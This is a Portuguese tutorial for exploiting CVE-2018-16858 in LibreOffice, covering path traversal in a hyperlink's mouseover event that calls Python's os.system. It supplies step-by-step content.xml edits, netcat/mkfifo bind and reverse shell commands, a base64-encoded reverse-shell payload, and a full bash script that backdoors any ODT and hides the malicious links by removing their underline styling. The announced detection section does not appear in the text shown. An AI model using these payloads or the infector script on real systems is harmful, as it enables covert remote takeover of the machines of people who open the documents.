
Implementação do exploit CVE-2018-16858
Nesta entrada veremos como utilizar uma falha simples de um programa para conseguir abrir uma porta dos fundos no sistema que utilize esse programa.
A falha em questão é definida no CVE-2018-16858 pertencente à suíte de escritório LibreOffice. Essa falha consegue, em um arquivo especialmente formatado, realizar um escalonamento de diretórios, permitindo a execução de código Python. Essa execução é vinculada ou acionada pela ação do usuário sobre o documento, e é realizada sem que nenhum tipo de aviso seja dado ao usuário pela execução de macros.
O presente documento se divide em cinco partes. Na primeira parte será explicada a falha em si, como desempacotar um OpenDocument, como alterar sua estrutura para que execute o script local desejado, e como recompor o documento novamente para sua execução e teste.
Na segunda parte veremos como utilizar a execução local para lançar qualquer comando no sistema em que o documento for aberto, e geraremos uma porta dos fundos que permita a execução de comandos remotos.
Na terceira parte automatizaremos o processo para gerar documentos que criem portas dos fundos com comunicação direta ou reversa, determinando endereço IP e porta aos quais se deverá conectar.
A quarta parte tratará sobre a integração da falha no sistema metasploit para que, através do msfconsole, seja possível gerar documentos compatíveis com a forma de exploração do metasploit. Com isso, poderão ser escolhidos como código a executar qualquer payload definido na suíte do metasploit.
A quinta e última parte mostrará como integrar em um sistema de antivírus o processo de detecção que permita identificar os arquivos do tipo LibreOffice infectados pelo procedimento anterior. Será utilizado o formato de detecção do antivírus ClamAV, permitindo compreender melhor o processo de detecção que os antivírus possuem e assim facilitar nossa proteção contra ameaças desse tipo.
Todo o processo será realizado para sistemas Linux baseados em Debian, mas o que aqui é explicado pode ser extrapolado para outros sistemas, já que é descrito detalhadamente. Tanto a falha quanto as provas de conceito do CVE original foram realizadas para a versão do LibreOffice para Windows, portanto sempre se pode recorrer a essa fonte para utilizar o descrito neste documento de forma análoga para as versões do Windows.
O LibreOffice (e, por questões genéticas, o Apache OpenOffice) tem uma falha em versões anteriores à sua última versão (6.1.5) que permite a execução de código Python localizado em qualquer lugar do computador sem que o usuário seja avisado pela execução de uma macro.
Para poder ver a falha em questão, podemos gerar um documento novo no editor de textos no qual escreveremos algo, selecionaremos e geraremos um hiperlink. Para criar um hiperlink no texto, é necessário selecionar o menu Insert e dentro dele a opção Hyperlink (também é possível selecionando o texto e depois usando a combinação de teclas Ctrl+K).
Aparecerá o seguinte diálogo:

Para definir um hiperlink, devemos inserir uma URL e clicar em Apply. Além da opção de URL na parte inferior da caixa de diálogo, onde se pode ler Further Settings, disporemos de um botão com o ícone de Play que nos permitirá também vincular eventos a determinadas ações. É aí que definiremos que desejamos executar um código Python como ação.
Ao pressionar esse botão, abrirá um novo diálogo:

Nele poderemos selecionar entre três eventos básicos e o script que se deseja utilizar. Como evento selecionaremos Mouse Over Object e como script, dentro dos scripts da família LibreOffice Macros, selecionaremos Python Samples. Dentro dessa opção existe apenas um script predefinido chamado TableSample, que é o que selecionaremos.
Feito isso, se passarmos o mouse sobre o texto que convertemos em hiperlink, veremos que se abre uma janela com um documento no qual há uma tabela. Isso significa que associamos o evento de passar o mouse sobre o hiperlink ao script em Python. O que pretendemos é substituir essa ação por outra que quisermos.
Para isso, salvaremos o documento que criamos e sairemos do LibreOffice para executar no console uma série de comandos.
O formato de documento ODT nada mais é do que um zip com uma série de arquivos dentro dele (o formato DOCX do Microsoft Office é muito parecido). Por isso, a primeira coisa que faremos é descomprimir o arquivo com um descompactador de arquivos zip.
No nosso caso, utilizaremos a ferramenta de linha de comando chamada unzip. Então, simplesmente executaremos a seguinte instrução:
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt
Com isso veremos os arquivos que realmente existem dentro de um arquivo do tipo OpenDocument. Os mais relevantes para nós serão o arquivo mimetypes, o arquivo content.xml e o arquivo styles.xml.
O arquivo mimetype é o primeiro que deve aparecer na lista de arquivos do zip, portanto quando voltarmos a empacotar os arquivos, deveremos forçar com nosso empacotador de arquivos que assim seja, ou o arquivo não será interpretado como um OpenDocument.
O arquivo content.xml contém o texto do documento que escrevemos, no qual temos texto misturado com determinadas tags que indicam em que formato o texto deve ser exibido.
Por exemplo, na seguinte linha:
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a seu CV. Exemplos:</text:p>
Pode-se observar um exemplo de um parágrafo de texto escrito com um estilo concreto definido pelo atributo text:style-name. O parágrafo de texto está entre a tag de abertura text:p e a tag de fechamento </text:p>.
O script associado ao hiperlink que fizemos também pode ser visto de forma bastante simples. Se buscarmos entre o texto de content.xml pela palavra python ou pelo nome do script python que carregamos, no nosso caso TableSample.py, é fácil detectar a linha onde devemos variar o conteúdo:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
Nessa linha se encontra o caminho do script em python que será carregado quando colocarmos o mouse sobre o hiperlink chamado TableSample.py e a função que será executada do código python, neste caso createTable.
O problema inerente ao LibreOffice é que, ao ler os documentos, o valor do código python a ser carregado não é limpo corretamente. O programa não limpa os caracteres ../ do caminho do arquivo, portanto é possível acessar qualquer arquivo do sistema em que o documento de texto for aberto. Além disso, se esse arquivo acessado for um arquivo com código python, poderemos executar qualquer função que esteja definida nesse arquivo.
Como primeiro teste de conceito, faremos com que ao passar o mouse sobre o hiperlink seja executada a calculadora, no nosso caso o programa galculator abre a calculadora. Devemos gerar um programa em python que permita executar um comando dentro de uma função, ao estilo de como o LibreOffice espera a execução. Para isso, geraremos o seguinte código no caminho /tmp/prueba.py:
import os;
def ejecuta():
os.system("galculator");
Com esse pequeno código conseguiremos nosso propósito. Agora só precisamos adicionar tanto o arquivo python /tmp/prueba.py quanto o nome da função ejecuta dentro da chamada que é feita no arquivo odt. Portanto, a linha que fazia a chamada ao python ficaria da seguinte forma:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
Como se pode ver, o que foi feito é adicionar um grande número de ../ para garantir que escalamos até a raiz do nosso sistema de arquivos. E a partir daí adicionamos o caminho concreto para nosso arquivo python (prueba.py). Após o $ foi adicionada a palavra ejecuta, que é a função que faz com que a calculadora seja carregada.
Feito isso, empacotaremos novamente nosso arquivo odt, lembrando de colocar como primeiro arquivo o mimetype. Se utilizarmos a utilidade zip, simplesmente executaremos o seguinte comando no diretório onde descompactamos nosso odt e que contém o content.xml malicioso:
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .
Feito isso, abriremos o arquivo com o LibreOffice e observaremos que o programa da calculadora é executado quando passamos o mouse sobre o hiperlink.
Este primeiro passo necessita de um código python gerado com uma função que possamos executar sem parâmetros. É simples de implementar, mas pode ser difícil de utilizar em um ambiente crível ou reproduzível para um pentesting real.
A partir da versão 6.1 do LibreOffice, é possível que nas chamadas a funções python se possam passar parâmetros para essas funções. Isso permite maior liberdade de script para aqueles que desejam utilizar a utilização lícita das macros desse programa, mas também nos oferece uma oportunidade de ouro para aqueles que desejam buscar as esquinas do software.
Como antes dizíamos e, de fato, utilizamos, para realizar uma chamada ao sistema para executar qualquer comando, fazemos uma chamada à classe os e à função system. É a que utilizamos para chamar a calculadora passando como parâmetro a string galculator. O bom das classes python é que podemos saber em que caminho elas estão, e de fato o que se pode fazer para aproveitar a possibilidade de passar parâmetros às funções é buscar a localização dessa classe. Antes executamos uma função de um programa python que estava em /tmp/ e que chamamos de prueba.py. Bem, agora o que faremos é chamar diretamente a função system que se encontra no programa python os.py, que é uma das bibliotecas do sistema. Por exemplo, nos sistemas Linux atuais, geralmente a encontramos no caminho /usr/lib/python3.5/os.py, portanto mudaremos o caminho anterior para o código /tmp/prueba.py por esse novo caminho. Agora a função ejecuta mudaremos pela função system e, de fato, como podemos passar parâmetros para essa função, já podemos executar o programa galculator, ou qualquer outro que desejemos, de maneira direta, sem necessidade de gerar na máquina onde será visualizado o documento do LibreOffice um arquivo python a ser executado.
Onde antes tínhamos essa string no arquivo content.xml:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
Agora simplesmente teremos a seguinte:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
A forma de empacotar o arquivo como documento do LibreOffice será exatamente a mesma. O resultado agora será que, simplesmente abrindo o documento odt, não será necessário colocar um programa python em nenhum caminho específico. Isso sim, precisaremos que a versão onde o documento for aberto seja pelo menos a versão 6.1 do LibreOffice.
Assim que o arquivo for aberto e o mouse for passado sobre o link do documento, a aplicação da calculadora será aberta, como acontecia no exemplo anterior.
Os comandos que são executados quando o documento é aberto são executados na máquina local, portanto uma utilidade que pode ser dada a essa execução é a abertura de uma porta dos fundos que permita a execução de comandos de forma remota a partir de outros lugares.
Para fazer uma porta dos fundos muito simples, utilizaremos o comando nc e criaremos um fifo para que, com a mesma porta, possamos enviar comandos ao computador e obter o resultado dessa execução. Na primeira abordagem da falha que utilizamos para a execução do comando, tivemos que fazer um programa em python. A ideia é que não tenhamos que subir nenhum código adicional ao computador que se deseja explorar, portanto serão utilizados comandos do sistema para a geração da porta dos fundos.
O comando nc é um comando do sistema que permite abrir uma porta no sistema local ou se conectar a uma porta de um sistema remoto, de forma que o que for recebido por essa conexão saia pela saída padrão e o que for introduzido pela saída padrão saia pela conexão em direção ao outro equipamento. Podemos utilizar pipes | para que a saída padrão de um comando em execução seja introduzida em outro comando. Portanto, se concatenarmos o comando nc com o comando /bin/bash, nos permitirá uma solução simples para a execução de comandos remotos. Se executarmos nc ip porta | /bin/bash, o que chegar pela conexão que o comando nc realiza será passado ao comando /bin/bash, que executa uma shell, com o que todos os comandos que forem enviados a partir do computador com o qual conectamos serão executados. Mas a saída padrão desses comandos não é retornada ao comando nc, portanto não se veria a saída deles. Poderíamos redirecionar a saída padrão do comando /bin/bash para um novo comando nc que utilize outra porta, mas então precisaríamos de duas portas para poder realizar o envio de comandos e a recepção da saída dos comandos, o que é um tanto tosco.
Uma solução simples é utilizar fifos. O comando mkfifo gera um arquivo que permite ser escrito e consumido ao mesmo tempo. Portanto, geraremos um arquivo fifo que utilizaremos como entrada do comando nc para que tudo o que for escrito nesse arquivo seja enviado pela conexão, e será usado como saída para o comando /bin/bash, de modo que a saída de tudo que for executado através desse comando seja escrita no arquivo fifo.
A sequência de comandos para ter um backdoor que atue como servidor em qualquer terminal linux seria a seguinte:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p porta < /tmp/lalala | /bin/bash > /tmp/lalala;
Para nos conectarmos a esse equipamento a partir de qualquer outro computador, deve-se executar o seguinte:
user@host:~/$ nc ip porta
Onde ip é o endereço IP do equipamento com o backdoor e porta é o mesmo valor que indicamos no momento de executar o nc no equipamento onde executamos o backdoor.
Se por problemas de firewalls na rede do equipamento de destino não pudermos utilizar o equipamento como servidor, podemos fazê-lo de forma inversa, de modo que seja o equipamento que possui o backdoor a se conectar a um servidor em nosso poder. Para isso, executaríamos primeiro em nosso equipamento o seguinte comando:
user@host:~/$ nc -l -p porta
E no equipamento do backdoor a seguinte sequência de comandos, muito parecida com a anterior:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc ip porta < /tmp/lalala | /bin/bash > /tmp/lalala;
O endereço IP que deve aparecer neste último comando é o do nosso equipamento. Evidentemente, o equipamento remoto deve ser capaz de alcançar esse endereço IP para que possa realizar a conexão a partir da qual enviaremos os comandos a serem executados no sistema remoto.
Portanto, no computador do backdoor, para colocar o comando em uma única linha, pode-se executar ou esta linha:
user@host:~/$ mkfifo /tmp/lalala;nc -l -p porta < /tmp/lalala | /bin/bash > /tmp/lalala;
ou esta linha:
user@host:~/$ mkfifo /tmp/lalala;nc ip porta < /tmp/lalala | /bin/bash > /tmp/lalala;
Uma vez compreendido isso, se conseguirmos que através do arquivo do LibreOffice seja executada qualquer uma das portas dos fundos, poderemos ter o controle remoto do computador que abriu o documento.
Evidentemente, se alterarmos o arquivo python que introduzimos em tmp e, em vez de executar a calculadora, executarmos o backdoor, teremos a execução automática.
import os;
def ejecuta():
os.system("mkfifo /tmp/lalala;nc ip porta < /tmp/lalala | /bin/bash > /tmp/lalala;");
Seguindo essa linha de geração de backdoors, agora se poderia implementar no documento office. A forma de fazer é relativamente simples, já que simplesmente devemos alterar o comando da calculadora do Linux pelo comando que permite abrir a porta dos fundos.
O backdoor que será executado no lugar do comando da calculadora será o seguinte:
mkfifo /tmp/lalala; nc IP PORTA < /tmp/lalala | /bin/bash > /tmp/lalala;
É um backdoor de conexão reversa, portanto, para seu funcionamento e para que se possa obter uma shell, deve-se abrir um socket no host com endereço IP IP e na porta PORTA. Deve-se alterar esses valores para o IP e porta abertos em nosso host.
Existe um problema com esse comando: o LibreOffice não permite a utilização de alguns caracteres especiais como < ou |, portanto devemos contornar de alguma forma o uso desses caracteres para o uso do nosso exploit.
Provavelmente a opção simples é utilizar base64. O base64 está instalado por padrão em quase todos os computadores Linux e é um programa que nos permite tanto codificar quanto decodificar através desse algoritmo. Portanto, podemos codificar o que desejamos executar em base64, redirecioná-lo para um arquivo que depois será decodificado e executado.
Vai ser utilizada uma forma de realização do backdoor que pode ser um tanto tosca, mas que é bastante transparente e compreensível. Depois, com a mesma ideia, pode-se complicar o quanto se desejar para que tudo fique mais compacto. Como este guia é realizado com fins educativos, manter-se-ão fórmulas de execução mais toscas, mas com comandos e execuções muito simples.
Se executarmos em um terminal o seguinte, poderemos obter a versão do payload em base64:
echo "mkfifo /tmp/lalala; nc IP PORTA < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64
O resultado será algo parecido com o seguinte:
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=
Agora já não temos nenhum dos caracteres que podem dar problemas na execução através do exploit. Mas introduzindo isso no comando system não executaremos nada, mas de fato podemos redirecionar com um echo esse conteúdo para um arquivo. Com isso teríamos um arquivo que, quando decodificado, pode ser executado. Portanto, geraremos um arquivo que depois decodificaremos com o comando base64 mas com o parâmetro que permite decodificar para redirecionar isso para outro arquivo. Esse, agora sim, será o que executaremos. Primeiramente, fragmentaremos cada comando explicando o que fazemos para depois usá-los todos dentro da chamada ao system do exploit:
Primeiro, geramos um arquivo base64 na máquina que abre o documento do LibreOffice em seu diretório /tmp/ chamado lalala.base64.
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64Como esse arquivo codificado não nos serve de nada, vamos decodificá-lo direcionando a saída para um arquivo que depois queremos executar no mesmo diretório, mas chamado **lalala.sh**.
base64 -d /tmp/lalala.base64 > /tmp/lalala.sh
Esse arquivo não tem permissões de execução, então devemos dar esses privilégios.
chmod 777 /tmp/lalala.sh
Depois devemos executar o arquivo bash que geramos.
/tmp/lalala.sh
Para finalmente apagar todos os arquivos intermediários que foram gerados no computador.
rm /tmp/lalala.sh
rm /tmp/lalala.base64
Dentro da chamada à função system do nosso exploit será a chamada de todos esses comandos separados por ;, com o que se executará um comando atrás do outro, resultando no seguinte comando ou payload que deve ser inserido dentro da chamada a system do nosso contents.xml em vez da calculadora. Finalmente, onde tínhamos o seguinte conteúdo que permitia a execução da calculadora:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
Colocaremos o seguinte conteúdo:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&location=share" xlink:type="simple"/>
Empacotando novamente o documento LibreOffice, já temos um documento que ao passar o mouse por cima executará nosso backdoor.
Antes que o documento seja aberto e como foi comentado anteriormente, devemos ter previamente uma porta em escuta, e assim que o backdoor se conectar ao nosso host já poderemos executar os comandos no sistema remoto onde o documento LibreOffice foi aberto.
Como próximo passo, e como passo prévio à geração de um módulo do metasploit, deve-se ser capaz de automatizar e generalizar o processo. Isso ajuda a verificar se estão claras as alterações a serem feitas para poder modularizar e descrever de forma concreta os problemas que devem ser resolvidos para fazer um programa genérico que permita infectar os documentos LibreOffice com o payload escolhido. Nesta seção realizaremos um pequeno script que permita infectar arquivos do LibreOffice com uma porta dos fundos.
O script exigirá três parâmetros: o documento office, o endereço IP ao qual o computador deve se conectar assim que o documento Office for aberto, além da porta à qual deve se conectar. Após executar o script, devemos obter um documento LibreOffice com o backdoor inserido dentro dele. Como devemos descompactar o arquivo zip, exigiremos que o diretório onde nosso script é executado esteja limpo, portanto devemos verificar isso dentro dele.
Com a ideia de que a linguagem não seja um problema, será usado bash script que permitirá realizar um script, talvez um pouco sujo, mas que permitirá chamadas a programas GNU que farão o trabalho mais árduo. Depois, todo esse trabalho automatizado pelos programas GNU terá que ser programado manualmente ou usando bibliotecas que auxiliem no processo quando o módulo do metasploit for gerado.
O script começará exigindo que o arquivo que se deseja trojanizar exista e, caso contrário, diremos ao usuário que o arquivo não existe:
if [ -e $1 ]; then
#aqui irá o código do programa.
else
echo "The odt file does not exists!!";
fi;
O if executa a ação que tem dentro quando a condição entre os colchetes é satisfeita. No bash, a condição -e retorna verdadeiro se existir um arquivo com o nome que é colocado a seguir. Em vez de um nome fixo, foi colocado $1 que no bash corresponde ao primeiro parâmetro que o usuário inseriu na linha de execução do script. No nosso caso, o primeiro parâmetro especifica o arquivo .odt que se deseja trojanizar.
Foi colocada a condição de que no diretório onde o comando é executado esteja vazio, isso é simplesmente para facilitar nosso trabalho, então devemos verificar isso antes de continuar com a primeira seção do programa. Desta vez, o que faremos será fazer com que o script execute o comando ls -a e verificaremos que existem apenas dois arquivos no diretório de execução: os correspondentes ao diretório . e ao diretório ... Isso será conseguido através da seguinte seção de código:
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
fi;
Nesta seção de código, estamos inicializando a variável I com o valor 0. Depois, através de um loop for, percorremos cada um dos elementos que compõem a saída do comando ls -a e, a cada iteração do loop, a variável fichero mudará de valor para o nome de cada elemento, neste caso, com o nome de cada arquivo do diretório de trabalho. No bash, colocar um comando entre as aspas especiais ` permite que o comando seja executado e que possamos usar sua saída na tela para devolvê-la em uma variável, ou para usá-la em loops como é o nosso caso. Dentro do loop, simplesmente estamos aumentando o valor da variável I em 1. No bash script, as variáveis que estão à direita do sinal de igual, das quais se deseja obter um valor, devem sempre ser precedidas por um sinal de dólar $. Como também se deseja realizar uma operação matemática, deve-se envolver a operação que se deseja realizar $I+1 entre $(( e )), o que indica ao interpretador do bash que estamos em modo matemático e deve realizar operações com o que está dentro.
Após o loop, a variável I deve valer 2 se estivermos em um diretório vazio, ou mais de 2 se estivermos em um diretório com algum arquivo. Portanto, através de uma condição verificaremos se a variável vale mais de 2 com a intenção de parar o programa e avisar o usuário. Novamente usaremos um if, mas desta vez usaremos a comparação "maior que", que no bash é escrita como -gt (greater than). Como visto no trecho de código, se tivermos um valor maior que 2, notificamos o usuário do erro; caso contrário, a execução das outras instruções continuará.
Como última verificação, será feita a verificação de que o usuário inseriu 3 parâmetros. Isso será feito simplesmente verificando se a variável $3 está vazia. Essa variável especifica que o argumento número 3 foi inserido; portanto, se estiver vazia, significa que a instrução executada pelo usuário não tem 3 argumentos de entrada. A comparação é simplesmente com o caractere vazio e, caso esteja vazia, indica-se ao usuário que cometeu um erro ao executar o script. O código para isso é novamente bastante simples:
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
#continuamos com o programa.
fi;
Após essas verificações, começaremos a execução de comandos que permitirão realizar a trojanização do documento. Começa-se com a execução do comando unzip para descompactar o arquivo LibreOffice. Em caso de sucesso, o processo continua; caso contrário, para.
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
A primeira linha desta seção simplesmente está descompactando o arquivo que o usuário indicou. No condicional, o que estamos fazendo é verificar se a execução do comando unzip foi bem-sucedida através do código de saída do programa. Esse código de saída é retornado por todos os programas que podem ser executados através do terminal e, por padrão, qualquer valor diferente de 0 indica que o programa falhou. A forma de obter esse código de erro é através da variável $? que contém o código de saída do último comando executado.
No condicional, verificamos se é 0 e, caso não seja, notificamos o usuário com uma mensagem. Após essa notificação, executamos um exit que permite parar a execução do script naquele ponto exato para evitar que o script continue executando as linhas seguintes.
Lembremos que, uma vez descompactado o arquivo, duas coisas devem ser alteradas no conteúdo do zip: o arquivo content.xml, onde se insere o trojan em si, e o arquivo styles.xml, onde se altera o formato que os hiperlinks têm para que o usuário que abre o arquivo não desconfie do problema.
O payload que será inserido é o mencionado na seção anterior, deve estar em base64, portanto guardaremos essa carga útil em uma variável. Além disso, renomearemos os arquivos que devem ser modificados para poder lê-los e modificá-los em novos arquivos com o nome original. Dessa forma, os arquivos com o nome original serão na verdade os arquivos modificados:
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
mv styles.xml styles.xml.NEW;
A única mudança em relação ao payload original comentado na seção anterior é que onde se indicava o endereço IP e a porta, são usados os argumentos 2 e 3 que o usuário colocou. Como se vê, faz-se uma operação parecida com a realizada com o for que é usado para contar o número de arquivos do diretório, mas desta vez a saída do comando, em vez de ir para a variável do for, é guardada em uma variável chamada PAYLOAD. Como se observa, também se executa a renomeação dos arquivos indicados através do comando mv.
Com a intenção de alterar o conteúdo de contents.xml, agora chamado contents.xml.NEW, o comando que pode ser usado é o comando sed. Sed é um comando básico da suíte de comandos Unix que permite, entre outras coisas, a substituição de certas expressões regulares por outras. A mudança que deve ser feita no arquivo content.xml.NEW é a busca por todas as entradas que tenham a forma:
<text:p text:style-name="Standard">
Que nada mais é do que a tag usada pelo LibreOffice para definir o texto. Na verdade, para definir qualquer texto, basta que comece com <text:p e termine com >. Para adicionar logo antes o link que permite a execução junto com o PAYLOAD que foi criado anteriormente. Algo que ficará da forma:
<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">
Onde PAYLOAD é modificado pelo código em base64 calculado com o endereço IP escolhido e a porta escolhida. Além disso, após essa inserção, a tag do parágrafo de texto mencionada anteriormente deve ser mantida intacta.
Além disso, deve-se indicar a terminação da tag que é adicionada adicionalmente, portanto, em toda tag de término de texto </text:p>, deve-se alterar para </text:a></text:p>.
Para esse fim, será usado o comando sed, que permite que tudo o que é inserido pela entrada padrão seja modificado. O formato do comando é o seguinte:
sed s/"busca"/"troca"/g
O s diz ao sed que desejamos realizar uma substituição; a primeira string marcada no exemplo como busca é o que o comando vai modificar daquilo que for passado pela entrada padrão. No comando de exemplo, a string troca é por o que o sed vai substituir o que se deseja buscar. A letra g indicada após as duas palavras permite que não apenas faça a alteração na primeira palavra que atenda ao critério de busca, mas sim em todas as palavras da entrada que o atenderem. Dessa forma, se no comando tal como está escrito for passada pela tela a seguinte frase:
a busca do sed permite buscas e trocá-las por algo.
O comando sed retornará a seguinte frase:
a troca do sed permite trocas e trocá-las por algo.
Além disso, o sed permite, por um lado, expressões regulares, portanto os caracteres *, ., ^, [ e ] têm significados especiais. Além disso, no segundo parâmetro do sed, aquele que define a troca, se for inserido o caractere &, permitirá exibir o padrão de busca na tela. Não é intenção deste tutorial entrar em todos os detalhes do sed, portanto simplesmente descreveremos os comandos que são executados e sua função. Usaremos pipes | que permitem que a saída de um comando seja a entrada do seguinte.
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
Neste comando, está sendo passado o arquivo content.xml.NEW para duas execuções consecutivas do comando sed. No primeiro sed, está sendo inserida a parte do payload; busca-se a string <text:p seguida por um número indeterminado de qualquer caractere que não seja >. Também se exige que o caractere anterior ao > não seja um fim de tag. Essa expressão regular é expressa da seguinte forma:
<text:p [^>]*[^\/]>
Essa cadeia encontrada será inserida na saída do comando sed, já que estamos inserindo o caractere & na saída seguido da tag do link, na qual também atribuímos a ação de que, quando passarmos o mouse por cima, execute o script em python que desejamos. É basicamente uma cópia da tag usada, colocando no meio o PAYLOAD gerado através da variável bash chamada $PAYLOAD.
O que é obtido dessa alteração é então submetido à alteração determinada com o segundo sed, que buscará a terminação da tag de texto </text:p> e, na saída, usaremos a mesma tag precedida da terminação da tag do link, para que quando for encontrado o texto </text:p>, a saída obtida seja </text:a></text:p>.
Com ambas as alterações, já teremos conseguido que o arquivo content.xml.NEW se transforme no arquivo desejado, portanto a saída após realizar os sed será inserida no arquivo de saída content.xml.
Feito isso, o arquivo temporário content.xml.NEW não será mais necessário, portanto procederemos à sua exclusão com o comando rm.
rm content.xml.NEW
Também deve ser feita uma modificação para que os hiperlinks gerados no conteúdo não sejam visualizados como tal ao abrir o arquivo. Portanto, deve-se eliminar o sublinhado que os hiperlinks têm por padrão. No arquivo chamado styles.xml, o LibreOffice guarda os estilos em formato xml, que podem ser modificados com alterações no texto.
O estilo padrão que os hiperlinks têm no LibreOffice se chama Internet_20_link, de modo que a primeira coisa a fazer é alterar o nome do estilo padrão para chamá-lo de uma forma que o LibreOffice não vincule o formato definido com esse estilo que força o sublinhado. Simplesmente, a todo estilo assim chamado adicionaremos um 2 ao final, de modo que esse estilo não seja usado no documento caso esteja definido. Por outro lado, definiremos um novo estilo chamado exatamente assim, mas no qual determinaremos que não esteja sublinhado. O formato xml desse estilo é o seguinte:
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>
A forma mais simples de definir um estilo e saber como ele é codificado no formato do LibreOffice provavelmente seja criar um novo estilo, defini-lo como desejado, depois salvá-lo e descompactar o documento para vê-lo no arquivo styles.xml. Neste caso, como pode ser visto lendo um pouco os atributos da tag, a única coisa que foi definida no estilo é que não esteja sublinhado e sem nenhuma cor especial.
Como a priori não se sabe como o arquivo estará configurado e onde o estilo deve ser posicionado dentro do arquivo de estilos, procederemos novamente a uma simplificação um tanto grosseira, mas eficaz. Buscaremos tags de fim de estilo </style:style> e adicionaremos ao final a definição de estilo proposta. Não saberemos em que posição do arquivo exatamente a tag ficará, mas isso permitirá não ter que definir regras mais complexas para deixar o estilo dos hiperlinks sem sublinhados, de forma que quem abrir o arquivo não seja capaz, a priori, de detectar o erro.
Assim como no caso anterior, procederemos a essas alterações através do comando sed, que ficará da seguinte forma:
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
O caso é análogo ao anterior, e faz-se o descrito nas linhas anteriores. Exibe-se na tela o conteúdo do arquivo styles.xml.new e, no primeiro sed, está sendo alterado o nome do estilo dos hiperlinks, adicionando um 2 ao final. No segundo sed, adiciona-se o estilo definido manualmente e, após a alteração, tudo é despejado no arquivo styles.xml, que será o arquivo mantido, apagando-se o arquivo styles.xml.NEW com o comando rm.
O último passo será empacotar tudo em um novo arquivo zip através do comando linux zip. Novamente, pode-se verificar se o comando teve sucesso ou não através da variável bash $?, que retornará 0 em caso de execução bem-sucedida.
O código desta última parte final será o seguinte:
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
